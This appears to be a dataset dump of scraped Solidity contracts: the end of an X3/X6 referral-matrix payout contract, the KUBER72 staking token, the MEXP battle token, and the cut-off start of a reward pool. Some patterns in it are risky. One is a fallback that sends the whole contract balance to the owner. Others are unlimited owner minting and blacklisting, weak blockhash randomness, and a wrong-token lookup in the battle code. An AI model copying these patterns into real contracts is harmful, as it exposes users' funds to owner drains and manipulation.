x3CurrentvId[level]=x3CurrentvId[level]+1; // After completion of two members
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2);
//close matrix
users[referrerAddress].x6Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL && users[referrerAddress].x6Matrix[level].reinvestCount==2)
{
users[referrerAddress].x6Matrix[level].blocked = true;
}
address freeReferrerAddress = findFreeX6Referrer(level);
users[referrerAddress].x6Matrix[level].currentReferrer = freeReferrerAddress;
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=referrerAddress;
x3Index[level]=newIndex;
users[referrerAddress].x6Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
if(address(freeReferrerAddress) != address(0))
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(uint8 level) public view returns(address)
{
uint256 id=x3CurrentvId[level];
return x3vId_number[level][id];
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersReferral(address userAddress, uint pos) public view returns(address) {
return users[userAddress].selfReferral[pos];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].referrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
uint ded=(levelPrice[level]*10)/100;
uint income=(levelPrice[level]-ded);
if (!address(uint160(receiver)).send(income)) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function get_downline_address(address _referrer,uint8 level) public view returns(address)
{
uint donwline_number=users[_referrer].downlineNumber;
while(true)
{
if(users[_referrer].partnersCount>donwline_number)
{
if(users[users[_referrer].selfReferral[donwline_number]].x3Matrix[level].referrals.length>0)
{
if(users[users[_referrer].selfReferral[donwline_number]].partnersCount>0)
{
return users[_referrer].selfReferral[donwline_number];
}
}
else
{
return users[_referrer].selfReferral[donwline_number];
}
donwline_number++;
}
else
{
return owner;
}
}
}
function addToClub(address userAddress, uint8 matrix, uint8 level) private returns(bool)
{
if(matrix==1)
{
if(clubvId_number[level][clubIndex[level]]!=userAddress)
{
uint256 newIndex=clubIndex[level]+1;
clubvId_number[level][newIndex]=userAddress;
clubIndex[level]=newIndex;
return true;
}
}
else
{
if(sClubvId_number[level][sClubIndex[level]]!=userAddress)
{
uint256 newIndex=sClubIndex[level]+1;
sClubvId_number[level][newIndex]=userAddress;
sClubIndex[level]=newIndex;
return true;
}
}
return false;
}
function qualify_to_club(address userAddress, uint8 club, uint8 level) public returns(bool)
{
require(msg.sender==owner,"onlyOwner");
if(club==1)
{
if(clubvId_number[level][clubIndex[level]]!=userAddress)
{
uint256 newIndex=clubIndex[level]+1;
clubvId_number[level][newIndex]=userAddress;
clubIndex[level]=newIndex;
return true;
}
}
else
{
if(sClubvId_number[level][sClubIndex[level]]!=userAddress)
{
uint256 newIndex=sClubIndex[level]+1;
sClubvId_number[level][newIndex]=userAddress;
sClubIndex[level]=newIndex;
return true;
}
}
return false;
}
function active_level(address userAddress, uint level) public payable
{
require(msg.sender==owner,"Only Owner");
for (uint8 i = 1; i <= level; i++)
{
users[userAddress].activeX3Levels[i] = true;
users[userAddress].activeX6Levels[i] = true;
}
}
function sendClubIncome(address _from, uint8 matrix, uint8 level, uint amount) private
{
if(matrix==1)
{
uint index=clubCurrentvId[level];
address userAddress=clubvId_number[level][index];
address(uint160(userAddress)).send(amount);
if(addToClub(userAddress, matrix, level))
clubCurrentvId[level]=clubCurrentvId[level]+1;
emit UserIncome(userAddress, _from, matrix, level, amount);
}
else
{
uint index=sClubCurrentvId[level];
address userAddress=sClubvId_number[level][index];
address(uint160(userAddress)).send(amount);
if(addToClub(userAddress, matrix, level))
sClubCurrentvId[level]=sClubCurrentvId[level]+1;
emit UserIncome(userAddress, _from, matrix, level, amount);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 293,468 | 13,231 |
c658a8cd0421cfe16dbb0c21427da8262f4e95c4c148b1103b7a741e6321b7bc
| 22,327 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/dc/dc2c4db43facf6a957ae3d1700526daac448575e_StandardToken.sol
| 3,439 | 13,067 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
//
// Coin Name : KUBER72 //
// Symbol : KUBER72 //
// Total Supply : 100,000,000 //
// Decimals : 18 //
// Functionality : Buy, Swap, Stake //
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0){
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is IERC20 {
using SafeMath for uint256;
address private _owner; // Owner of the Contract.
string private _name; // Name of the token.
string private _symbol; // symbol of the token.
uint8 private _decimal; // variable to maintain decimal precision of the token.
uint256 private _totalSupply = 100000000000000000000000000; // total supply of token.
bool private _stopped = false; // state variable to check fail-safe for contract.
uint256 public airdropcount = 0; // Variable to keep track on number of airdrop
address private _tokenPoolAddress; // Pool Address to manage Staking user's Token.
uint256 airdropcountOfMMM = 0; // Variable to keep track on number of airdrop
uint256 tokensForMMM = 25150000000000000000000000; // airdrop tokens for MMM
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
constructor (string memory Name, string memory Symbol, uint8 Decimal, address Owner, address tokenPoolAddress) {
_name = Name;
_symbol = Symbol;
_decimal = Decimal;
_balances[Owner] = _totalSupply;
_owner = Owner;
_tokenPoolAddress = tokenPoolAddress;
}
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimal;
}
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(from != address(0),"Invalid from Address");
require(to != address(0),"Invalid to Address");
require(value > 0, "Invalid Amount");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"Invalid address");
require(owner != address(0),"Invalid address");
require(value > 0, "Invalid Amount");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function airdropByOwner(address[] memory _addresses, uint256[] memory _amount) public onlyOwner returns (bool){
require(_addresses.length == _amount.length,"Invalid Array");
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++){
_transfer(msg.sender, _addresses[i], _amount[i]);
airdropcount = airdropcount + 1;
}
return true;
}
function airdropByOwnerForMMM(address[] memory _addresses, uint256[] memory _amount) public onlyOwner returns (bool){
require(_addresses.length == _amount.length,"Invalid Array");
require(tokensForMMM > 0, "Tokens are zero");
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++){
_transfer(msg.sender, _addresses[i], _amount[i]);
uint256 remainingTokens = tokensForMMM - _amount[i];
tokensForMMM = remainingTokens;
airdropcountOfMMM = airdropcountOfMMM + 1;
}
return true;
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"Invalid account");
require(value > 0, "Invalid Amount");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burn(uint256 _value) public onlyOwner {
_burn(msg.sender, _value);
}
function mint(uint256 _value) public onlyOwner returns(bool){
require(_value > 0,"The amount should be greater than 0");
_mint(_value,msg.sender);
return true;
}
function _mint(uint256 _value,address _tokenOwner) internal returns(bool){
_balances[_tokenOwner] = _balances[_tokenOwner].add(_value);
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(0), _tokenOwner, _value);
return true;
}
// Mapping for users with id => address Staked Address
mapping (uint256 => address) private _stakerAddress;
// Mapping for users with id => Tokens
mapping (uint256 => uint256) private _usersTokens;
// Mapping for users with id => Staking Time
mapping (uint256 => uint256) private _stakingStartTime;
// Mapping for users with id => Status
mapping (uint256 => bool) private _TokenTransactionstatus;
// Mapping to keep track of final withdraw value of staked token
mapping(uint256=>uint256) private _finalWithdrawlStake;
// Reward Percentage
uint256 private _rewardPercentage= 15;
// Count of no of staking
uint256 private _stakingCount = 0;
// Withdraw Time limit
uint256 _withdrawLimit = 2592000;
modifier failSafe(){
require(_stopped == false, "Fail Safe check failed");
_;
}
function toggleContractActive() public onlyOwner{
_stopped = !_stopped;
}
function setTokenPoolAddress(address add) public onlyOwner returns(bool){
require(add != address(0),"Invalid Address");
_tokenPoolAddress = add;
return true;
}
function getTokenpoolAddress() public view returns(address){
return _tokenPoolAddress;
}
function setRewardPercentage(uint256 rewardsPercentage) public onlyOwner returns(bool){
require(rewardsPercentage > 0, "Invalid Percentage");
_rewardPercentage = rewardsPercentage;
return true;
}
function getRewardPercentage() public view returns(uint256){
return _rewardPercentage;
}
function blacklistStake(bool status,uint256 stakingId) external onlyOwner{
_TokenTransactionstatus[stakingId] = status;
}
function getContractETHBalance() public view returns(uint256){
return(address(this).balance);
}
function withdrawETH() external onlyOwner returns(bool){
msg.sender.transfer(address(this).balance);
return true;
}
function getFinalWithdrawlStake(uint256 id) public view returns(uint256){
return _finalWithdrawlStake[id];
}
function getStakingAddressById(uint256 id) public view returns (address){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakerAddress[id];
}
function getStakingStartTimeById(uint256 id)public view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingStartTime[id];
}
function getStakingTokenById(uint256 id)public view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersTokens[id];
}
function getActiveStakesById(uint256 id)public view returns(address){
return _stakerAddress[id];
}
function getTokenLockstatus(uint256 id)public view returns(bool){
return _TokenTransactionstatus[id];
}
function getStakingCount() public view returns(uint256){
return _stakingCount;
}
function getRewardsDetailsOfUserById(uint256 id) public view returns(uint256){
return (_usersTokens[id].mul(_rewardPercentage).mul((block.timestamp - _stakingStartTime[id])/86400)).div(36500);
}
function setWithdrawLimit(uint256 withdrawLimit) public onlyOwner returns(bool){
require(withdrawLimit > 0, "Invalid Time");
_withdrawLimit = withdrawLimit;
return true;
}
function getWithdrawLimit() public view returns(uint256){
return _withdrawLimit;
}
function performStaking(uint256 tokens) public failSafe returns(bool){
require(tokens > 0, "tokens cannot be zero");
_stakingCount = _stakingCount +1 ;
_stakerAddress[_stakingCount] = msg.sender;
_stakingStartTime[_stakingCount] = block.timestamp;
_usersTokens[_stakingCount] = tokens;
_TokenTransactionstatus[_stakingCount] = false;
_transfer(msg.sender, _tokenPoolAddress, tokens);
return true;
}
function withdrawStakedTokens(uint256 stakingId) public failSafe returns(bool){
require(_stakerAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
require(balanceOf(_tokenPoolAddress) >= _usersTokens[stakingId], "Pool is dry, can not perform transaction");
_TokenTransactionstatus[stakingId] = true;
if (block.timestamp > _stakingStartTime[stakingId].add(_withdrawLimit)){
_finalWithdrawlStake[stakingId] = _usersTokens[stakingId] +getRewardsDetailsOfUserById(stakingId);
_transfer(_tokenPoolAddress, msg.sender, _usersTokens[stakingId]);
_transfer(_owner, msg.sender, getRewardsDetailsOfUserById(stakingId));
}
else {
_transfer(_tokenPoolAddress, msg.sender, _usersTokens[stakingId]);
}
return true;
}
mapping (address => uint256) public blocked;
mapping (address => bool) public isBlocked;
modifier whenNotBlocked(address _account) {
require(!isBlocked[_account]);
_;
}
function blacklistAddresses(bool status, address _account) external onlyOwner {
isBlocked[_account] = status;
}
}
| 121,911 | 13,232 |
f4789ff56755e9854a1d00352b3ca6bd6039d958c2c7e8676af11754cd33a102
| 18,962 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xde201daec04ba73166d9917fdf08e1728e270f06.sol
| 4,410 | 16,419 |
pragma solidity 0.5.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address payable public owner;
address payable private newOwner;
address public signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface niftyMoji
{
function ownerOf(uint256 tokenId) external view returns (address);
function powerNLucks(uint256 tokenID) external view returns(uint256, uint256);
function totalSupply() external view returns(uint256);
}
contract MEXPToken is owned {
using SafeMath for uint256;
uint256 public withdrawnByAdmin;
string public constant name = "MOJI Experience Points";
string public constant symbol = "MEXP";
uint256 public constant decimals = 18;
uint256 public totalSupply;
uint256 public burnTracker; //mainly used in mintToken function..
uint256 public mintingMultiplier=10000; // 10000 = 1, 123 = 0.0123 admin can set it minting per day, will be factored as luck %
address public niftyMojiContractAddress = 0xde544E54a330Abd1eA8a0E6693D46BFe95D9A684; // admin can set / change this address
uint256 public battleFees=1; // default is 0.000000000000000001 Ether for battle fees, which admin can change
uint256 public mintTokenFee = 0.001 ether;
uint256 public battleWinReward= 10**18; // = 1 token with 18 decimal places, admin can change
uint256 public battleLooseReward = 10**17; // = 0.1 token with 10 decimal places, admin can change
uint256 public maxBattlePerDay=10; //daily 10 max battles
bool public globalHalt; // Emergency Break
uint256 public lastFinishedIndex;
mapping (address => uint256) public balanceOf;
mapping(uint256 => uint256) public totalMintedForTokenId;
mapping(uint256 => uint256) public totalMintedByOwnerForTokenID;
mapping(uint256 => uint256) public totalMintedByUserForTokenID;
mapping(uint256 => uint256) public totalMintedByBattleForTokenID;
mapping(uint256 => uint256) public dayTracker;
mapping (address => mapping (address => uint256)) public allowance;
mapping(address => uint256) public BattleCountEndTime;
mapping (address => uint256) public userBattleCount;
mapping(address => bool) public blackListedUser;
mapping(uint256 => bool) public blackListedToken;
struct battleInfo
{
uint256 tokenID;
uint256 userSeed;
uint256 rewardAmount;
uint256 blockNo;
uint256 opponentTokenID;
}
battleInfo[] public battleInfos;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(!globalHalt, "paused by admin");
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!blackListedUser[msg.sender], "you are not allowed");
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!blackListedUser[msg.sender], "you are not allowed");
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!blackListedUser[msg.sender], "you are not allowed");
require(!globalHalt, "paused by admin");
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
constructor() public
{
battleInfo memory temp;
battleInfos.push(temp);
}
function () payable external {}
function burn(uint256 _value) public returns (bool success) {
require(!globalHalt, "paused by admin");
require(!blackListedUser[msg.sender], "you are not allowed");
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
burnTracker = burnTracker.add(_value);
emit Transfer(msg.sender, address(0), _value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!globalHalt, "paused by admin");
require(!blackListedUser[msg.sender], "you are not allowed");
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
burnTracker = burnTracker.add(_value);
emit Transfer(_from, address(0), _value);
emit Burn(_from, _value);
return true;
}
function mintTokenOwnerOnly(address user, uint256 _tokenID, uint256 tokenAmount) public onlyOwner returns(bool)
{
require(user != address(this) && user != address(0), "invalid address");
require(tokenAmount > 0 , "Invalid token to mint");
require(!blackListedToken[_tokenID], "this token is blacklisted");
if(_tokenID != 0)
{
require(niftyMoji(niftyMojiContractAddress).ownerOf(_tokenID) == user,"user is not the owner of this tokenID");
totalMintedForTokenId[_tokenID] = totalMintedForTokenId[_tokenID].add(tokenAmount);
totalMintedByOwnerForTokenID[_tokenID] = totalMintedByOwnerForTokenID[_tokenID].add(tokenAmount);
}
totalSupply = totalSupply.add(tokenAmount);
balanceOf[user] = balanceOf[user].add(tokenAmount);
emit Transfer(address(0),user,tokenAmount);
return true;
}
function blackListUser(address user) public onlyOwner returns(bool)
{
blackListedUser[user] = true;
return true;
}
function removeUserFromBlackList(address user) public onlyOwner returns(bool)
{
blackListedUser[user] = false;
return true;
}
function blackListToken(uint256 _tokenID) public onlyOwner returns(bool)
{
blackListedToken[_tokenID] = true;
return true;
}
function removeTokenFromBlackList(uint256 _tokenID) public onlyOwner returns(bool)
{
blackListedToken[_tokenID] = false;
return true;
}
function mintToken(uint256 _tokenID) public payable returns(bool) {
require(!globalHalt, "paused by admin");
address caller = niftyMoji(niftyMojiContractAddress).ownerOf(_tokenID);
require(!blackListedUser[caller], "you are not allowed");
require(!blackListedToken[_tokenID], "this token is blacklisted");
require(caller == msg.sender,"caller is not the owner of this tokenID");
require(msg.value >= mintTokenFee, 'Not enough token minting fee');
uint256 dt = dayTracker[_tokenID];
if (dt != 0)
{
uint256 secPassed = now - dt ;
require(secPassed > 0 , "already minted for the day");
(,uint256 luckPercent) = niftyMoji(niftyMojiContractAddress).powerNLucks(_tokenID);
uint256 mintAmount = (((mintingMultiplier * (10 ** 18) * ((luckPercent + 9) / 10)) / 100000) / 86400) * secPassed ;
dayTracker[_tokenID] = now ;
totalMintedByUserForTokenID[_tokenID] = totalMintedByUserForTokenID[_tokenID].add(mintAmount);
totalMintedForTokenId[_tokenID] = totalMintedForTokenId[_tokenID].add(mintAmount);
totalSupply = totalSupply.add(mintAmount);
balanceOf[caller] = balanceOf[caller].add(mintAmount);
emit Transfer(address(0),caller,mintAmount);
}
else
{
dayTracker[_tokenID] = now;
}
owner.transfer(msg.value);
return true;
}
function viewAmountIfIMintNow(uint256 _tokenID) public view returns(uint256 amount)
{
uint256 dt = dayTracker[_tokenID];
if (dt != 0)
{
uint256 secPassed = now - dt ;
(,uint256 luckPercent) = niftyMoji(niftyMojiContractAddress).powerNLucks(_tokenID);
amount = (((mintingMultiplier * (10 ** 18) * ((luckPercent + 9) / 10)) / 100000) / 86400) * secPassed ;
return amount;
}
else
{
return (0);
}
}
function setMaxBattlePerDay(uint _maxBattlePerDay) public onlyOwner returns (bool)
{
maxBattlePerDay = _maxBattlePerDay;
return true;
}
event initiateBattleEv(address caller,uint256 _tokenID,uint256 _userSeed,uint256 battleInfoIndex, uint256 blockNo);
function initiateBattle(uint256 _tokenID, uint256 _userSeed) public payable returns (uint256 battleID)
{
require(!globalHalt, "paused by admin");
require(msg.value == battleFees, "Invalid fees amount");
address caller = niftyMoji(niftyMojiContractAddress).ownerOf(_tokenID);
require(!blackListedUser[caller], "you are not allowed");
require(!blackListedToken[_tokenID], "this token is blacklisted");
require(caller == msg.sender,"caller is not the owner of this tokenID");
require(userBattleCount[caller] <= maxBattlePerDay, "enough for the day");
if(BattleCountEndTime[caller] >= now)
{
userBattleCount[caller] += 1;
}
else
{
BattleCountEndTime[caller] = now + 86400;
userBattleCount[caller] = 1;
}
battleInfo memory temp;
temp.tokenID = _tokenID;
temp.userSeed = _userSeed;
temp.blockNo = block.number;
battleInfos.push(temp);
battleID = battleInfos.length - 1;
address(owner).transfer(msg.value);
emit initiateBattleEv(caller, _tokenID, _userSeed, battleID,block.number);
return battleID;
}
event finishBattleEv(address user, uint256 battleInfoIndex, uint256 _tokenID, uint256 randomToken, uint256 mintAmount);
function finishBattle(uint256 _battleInfoIndex,bytes32 blockHashValue) public onlySigner returns (bool) // returns winning amount minted
{
require(_battleInfoIndex < battleInfos.length, "Invalid Battle Index");
require(battleInfos[_battleInfoIndex].rewardAmount == 0, "Already finished");
uint256 _tokenID = battleInfos[_battleInfoIndex].tokenID;
uint256 _userSeed = battleInfos[_battleInfoIndex].userSeed;
address caller = niftyMoji(niftyMojiContractAddress).ownerOf(_tokenID);
bool success;
uint256 randomToken;
address randomTokenUser;
for(uint256 i=0;i<50;i++)
{
randomToken = uint256(keccak256(abi.encodePacked(blockHashValue, _userSeed))) % niftyMoji(niftyMojiContractAddress).totalSupply() + 1;
randomTokenUser = niftyMoji(niftyMojiContractAddress).ownerOf(_tokenID);
if(blackListedToken[randomToken] || blackListedUser[randomTokenUser])
{
_userSeed += block.number%8;
}
else
{
success = true;
break;
}
}
require(success, "try again");
(uint256 powerPercent,uint256 luckPercent) = niftyMoji(niftyMojiContractAddress).powerNLucks(_tokenID);
(uint256 powerPercent2,uint256 luckPercent2) = niftyMoji(niftyMojiContractAddress).powerNLucks(randomToken);
uint256 mintAmount;
if(powerPercent + luckPercent > powerPercent2 + luckPercent2)
{
mintAmount = battleWinReward ;
}
else
{
mintAmount = battleLooseReward;
}
battleInfos[_battleInfoIndex].rewardAmount = mintAmount;
battleInfos[_battleInfoIndex].opponentTokenID = randomToken;
emit finishBattleEv(caller,_battleInfoIndex, _tokenID, randomToken, mintAmount);
balanceOf[caller] = balanceOf[caller].add(mintAmount);
totalSupply = totalSupply.add(mintAmount);
totalMintedForTokenId[_tokenID] = totalMintedForTokenId[_tokenID].add(mintAmount);
totalMintedByBattleForTokenID[_tokenID] = totalMintedByBattleForTokenID[_tokenID].add(mintAmount);
dayTracker[_tokenID] = now;
lastFinishedIndex = _battleInfoIndex;
emit Transfer(address(0),caller,mintAmount);
return true;
}
function multipleFinishBattle (bytes32[] memory _blockHashValue) public onlySigner returns(bool)
{
uint i;
for(i=0;i<_blockHashValue.length;i++)
{
require(finishBattle(lastFinishedIndex + i + 1,_blockHashValue[i]),"could not fihish battle");
}
return true;
}
function lastUnFinishedIndexNBlock() public view returns (uint256 lastUnFinishedIndex, uint256 blockNo)
{
uint len = battleInfos.length-1;
if(len > lastFinishedIndex)
{
return (lastFinishedIndex +1, battleInfos[lastFinishedIndex +1].blockNo);
}
else
{
return (0,0);
}
}
function setNiftyMojiContractAddress(address _niftyMojiContractAddress) public onlyOwner returns(bool)
{
niftyMojiContractAddress = _niftyMojiContractAddress;
return true;
}
function setMintingMultiplier(uint256 _mintingMultiplier) public onlyOwner returns (bool)
{
mintingMultiplier = _mintingMultiplier;
return true;
}
function setbattleFees(uint256 _battleFees) public onlyOwner returns(bool)
{
battleFees = _battleFees;
return true;
}
function setMintTokenFee(uint256 _mintTokenFee) public onlyOwner returns(bool)
{
mintTokenFee = _mintTokenFee;
return true;
}
function setBattleReward(uint256 winReward, uint256 looseReward) public onlyOwner returns(bool)
{
battleWinReward = winReward;
battleLooseReward = looseReward;
return true;
}
function changeGlobalHalt() onlyOwner public returns(bool) {
if (globalHalt == false){
globalHalt = true;
}
else{
globalHalt = false;
}
return true;
}
function totalEtherbalanceContract() public view returns(uint256){
return address(this).balance;
}
function manualWithdrawEtherAdmin(uint64 Amount) public onlyOwner returns (bool){
require (address(this).balance >= Amount);
address(owner).transfer(Amount);
withdrawnByAdmin = withdrawnByAdmin.add(Amount);
return true;
}
}
| 277,020 | 13,233 |
534b84bff82f799e18578b0c472e6262e407dcd235f248a9aef8d1a1c4f6b11c
| 31,195 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/51/513830f76ead6d0700091c140f10f00ae95838a7_POWERRewardPool.sol
| 4,910 | 18,805 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
